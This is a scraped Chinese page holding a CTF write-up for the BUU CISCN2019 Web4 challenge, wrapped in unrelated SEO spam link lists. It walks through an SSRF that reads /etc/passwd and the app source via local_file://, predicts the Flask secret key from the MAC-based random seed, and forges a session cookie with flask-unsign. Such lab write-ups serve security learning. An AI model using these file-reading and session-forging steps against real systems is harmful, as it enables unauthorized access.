当前位置: 首页 > news >正文

江门网站制作python基础语法手册

江门网站制作,python基础语法手册,自己电脑做电影网站吗,asp建网站BUU [CISCN2019 华东南赛区]Web4 题目描述:Click to launch instance. 开题: 点击链接,有点像SSRF 使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。 local_file://协议: local_file…

BUU [CISCN2019 华东南赛区]Web4

题目描述:Click to launch instance.

开题:

image-20231203030538490

点击链接,有点像SSRF

image-20231203030551174

使用local_file://协议读到本地文件,无法使用file://协议读取,有过滤。

image-20231203030849532

local_file://协议:

local_file://与file://类似,常用于绕过,可以直接读取本地文件内容

此外,不加协议,直接通过文件名读取文件也行。

/read?url=/etc/passwd

image-20231204163732895

读取后端源码:

/read?url=/app/app.py

源码如下:

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

注意print语句print str(ex),可以看出后端是python2。

/flag路由验证了session,若session中的usernamefuck,则返回flag。

session的密钥由random决定,random的seed是uuid.getnode()

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

Mac地址存贮在/sys/class/net/eth0/address

/read?url=local_file:///sys/class/net/eth0/address

得到Mac地址为:2e:44:62:0d:63:0a

image-20231204182610239

根据seed预测伪随机数得到key脚本:(python2跑)

import random
random.seed(0x2e44620d630a)
print(str(random.random()*233))

得到key是73.2021768198,不同人不一样。

我们使用flask-unsign工具来伪造session。

解密session:

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.ZW2pEQ.-5oJLoBW97fPu-L4toFRwPeAwhE'

加密session:

flask-unsign --sign --cookie "{'username': b'fuck'}" --secret '73.2021768198' --no-literal-eval

得到eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.ZW2rIw.tPiShhd3WU6VOLoSrTgWQus8Pjc

image-20231204183509747

访问/flag路由,得到flag

image-20231204183626221

http://www.yayakq.cn/news/459692/

相关文章:

  • 织梦做博客类网站微信如何链接wordpress
  • wordpress 主题 简洁选择宁波seo优化公司
  • 做网站需要视频衔接怎么做app联盟推广平台
  • 网站开发的挑战网页设计与网站建设+pdf
  • 网站导航用什么字体企业网站搭建程序
  • qq官方网站登录wordpress 展开收缩插件
  • 在线制作二维码网站苏州企业排名
  • 舒城县建设局网站哪里可以下载ppt免费模板
  • 专题网站开发工具有哪些wordpress安装网站吗
  • dw网站模板下载苏州工业园区房价
  • 成都有实力的网站建设免费推广网站软件
  • 昆明网站制作网页霸州网站建设
  • 可信网站是否有规定必须做上海的做网站的公司
  • 1个人做多网站负责人wordpress栏目页
  • 平面设计案例网站广告竞价
  • 门户网站cms系统域名如何申请
  • wordpress软件网站模板遵义网站建设哪家强
  • wordpress收费阅读自己网站做seo
  • 申请网站空间有哪几种方式企业seo可以达到怎样的效果
  • wordpress 如何建站哪个网站可以找人做清洁
  • 网站用户 分析公司网站的推广
  • seo技巧与技术十大seo免费软件
  • 杭州网站关键词推广内部网站做登陆内部链接
  • 邱县seo整站排名嵌入式和单片机的区别
  • 宁波企业网站制作南充 网站开发
  • 购物网站模板免费下载网站的功能有哪些
  • 做企业网站设计方案阿里云网站建设好用吗
  • 仿一个展示型网站多少钱网站开发全流程
  • 免费h5网站制作平台谷歌外贸平台有哪些
  • 博客网站怎么做数据库作业代做网站